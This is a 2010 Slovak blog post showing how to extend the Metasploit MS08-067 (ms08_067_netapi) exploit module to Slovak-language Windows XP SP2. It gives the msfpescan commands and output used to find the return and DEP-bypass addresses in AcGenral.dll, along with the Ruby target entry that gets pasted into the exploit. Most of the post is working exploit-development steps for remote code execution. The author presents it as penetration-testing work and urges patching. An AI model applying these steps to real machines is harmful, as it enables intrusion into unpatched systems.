22.05
2010

Dovoľte nám priblížiť jeden z častých dôvodov neúspechu pri pokuse ovládnuť počítač pomocou Metasploit Framework. Väčšina modulov je priamo závislá na návratových adresách, ktoré sú rozdielne čo sa operačných systémov, service packov a jazykových mutácií týka. Často je pre úspešnú exploitáciu je vyžadovaný zásah do exploitu (metasploit modulu ms08_067_netapi). V návode pracujeme so slovenskou verziou operačného systému Microsoft Windows XP SP2. Súčasný modul Metasploit Framework 3.3 dev obsahuje „podporu“ pre 57 rôznych jazykových mutácií operačných systémov Windows 2000, Windows 2003 SP0-SP2, Windows XP SP0-SP3. Exploitácia Windows XP SP2 ENG je celkom jednoduchá záležitosť.

MSF ms08_067_netapi

Po inštalácii Windows Language Interface pack, t.j. jazykový preklad do slovenského jazyka, prípadne pri teste slovenskej verzie tohto operačného systému sa však situácia radikálne mení.

Následuje rekonštukcia… Po krátkom bádaní v tele modulu nachádzame poznámky autora exploitu – HDM ohľadom tejto špecifickej situácie. Z textu je jasné, že si potrebujeme zaobstarať knižnicu AcGenral.dll zo systému, ktorého jazyková mutácia je Metasploit modulu neznáma. Analýzou tejto knižnice je potrebné získať tri údaje:

Ret =>
DisableNX =>
Scratch =>

Tieto adresy sú rozdielne podľa operačného systému, service packu, alebo jazkykovej mutácie. Nájdeme požadovanú knižnicu. Klasika, štart, hľadať, Copy, Paste. V čerstvej inštalácii sa nachádzala v zložke C://WINDOWS/AppPatch. Prekopírujeme do obľúbeného operačného systému – BackTrack

I. krok

V prvom rade potrebujeme získať adresu Ret elementu knižnice nasledujúcim príkazom:

./msfpescan -j esi AcGenral.dll

Výsledok:

[AcGenral.dll]
0×6f88f727 call esi
0×6f891418 call esi
0×6f89145f call esi
0×6f8917cb call esi
0×6f8917d6 call esi
0×6f892a52 call esi
0×6f892a57 call esi
0×6f892a85 call esi
0×6f892a90 call esi
0×6f892ab4 call esi
0×6f892aba call esi
0×6f892b0a call esi
0×6f892b0f call esi
0×6f8933b6 call esi
0×6f893426 call esi
0×6f89524e call esi
0×6f895255 call esi
0×6f8952ce call esi
0×6f8952d5 call esi
0×6f89597a call esi
0×6f8959a8 call esi
0×6f8959f7 call esi
0×6f8959fc call esi
0×6f89687b call esi
0×6f89687e call esi
0×6f896881 call esi
0×6f896922 call esi
0×6f89695e call esi
0×6f89696e call esi
0×6f897ecb call esi
0×6f897ed5 call esi
0×6f89844a call esi
0×6f89af60 call esi
0×6f89d7db call esi
0×6f89d7e3 call esi
0×6f89d9be call esi
0×6f89d9d6 call esi
0×6f89d9e9 call esi
0×6f89da01 call esi
0×6f89da14 call esi
0×6f89da2c call esi
0×6f89da43 call esi
0×6f89da59 call esi
0×6f89da82 call esi
0×6f89db62 call esi
0×6f89db80 call esi
0×6f89db93 call esi
0×6f89dbab call esi
0×6f89dbc0 call esi
0×6f89dd58 call esi
0×6f89ddc5 call esi
0×6f89df6b call esi
0×6f89df80 call esi
0×6f89e00b call esi
0×6f89e01b call esi
0×6f8a1136 call esi
0×6f8a1153 call esi
0×6f8a11e1 call esi
0×6f8a11ff call esi
0×6f8a3605 call esi
0×6f8a3618 call esi
0×6f8a364f call esi
0×6f8a3662 call esi
0×6f8a3699 call esi
0×6f8a36ac call esi
0×6f8a4d2b call esi
0×6f8a4d54 call esi
0×6f8a4d7d call esi
0×6f8a4da6 call esi
0×6f8a4dcf call esi
0×6f8a4df8 call esi
0×6f8a4e21 call esi
0×6f8a4e4a call esi
0×6f8a4e73 call esi
0×6f8a86e8 call esi
0×6f8a871f call esi
0×6f8a8752 call esi
0×6f8a8775 call esi
0×6f8ab829 push esi; ret
0×6f8ab872 push esi; ret
6f8ab8ab push esi; ret — Náhodne vyberieme a použijeme.
0×6f8ac78a call esi
0×6f8ac7e5 call esi
0×6f8ace32 call esi
0×6f8ace43 call esi
0×6f8ace50 call esi
0×6f8ace66 call esi
0×6f8ace77 call esi
0×6f8adec1 call esi
0×6f8aded4 call esi
0×6f8b0fdf call esi

Z výstupu je dovolené vybrať akúkoľvek hodnotu, ktorá neobsahuje 00 0a 0d 5c 2f 2e.

II. krok:

Následne zistíme umiestnenie funkcie, ktorú exploit používa na zablokovanie DEP príkazom:

./msfpescan -r „x6Ax04x8Dx45x08x50x6Ax22x6AxFF“ AcGenral.dll

Výsledok:

[AcGenral.dll]
0×6f8916e2 6a048d4508506a226aff

III. krok:

Scratch element je pre všetky verzie Windows adresa 0×00020408.

Získali sme všetky potrebné údaje, otvoríme exploit v ľubovoľnom textovom editore a pridáme nasledovný kód:

# Metasploit’s NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Slovak (NX)',
{
'Ret' => 0x6f8ab8ab,
'DisableNX' => 0x6f8916e2,
'Scratch' => 0x00020408
}
],

# JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

Po úprave exploitu sa v zozname cieľov zobrazuje aj Slovenská verzia Windows XP SP2:

Následne output hovorí sám za seba:

Po odoslaní tohto maličkého vylepšenia developerom MSF som náhodne zablúdil na stránku Avertlabs a zistil, akým spôsobom vírus Conficker ( derivát MS08-067 ) napáda jazykové mutácie operačného systému Windows. Patchujte! Kredit patrí autorovi exploitu, táto úprava by sa nepodarila bez jeho fantastických poznámok a komentárov.

Súvisiace články: Tripple DoS „dummy“ Metasploit module, Nessus Bridge for Metasploit, Metasploit Framework v. 3.4.1 msfguiMetasploit ExpressMetasploit Pro releaseMetasploit Pro – push the hack button, pt1, Phillas Fogg payload journey pt.1, Corelan + Metasploit = ftp client hunt, Prepisujeme exploit just 4 funmona.py – PyCommand pre Immunity DebuggerPrepisujeme exploit just 4 fun |SEH|Prepisujeme exploit just 4 fun |pvefindaddr|Smashing the stack in 2010 ?!?

No Comment..

Add Your Comment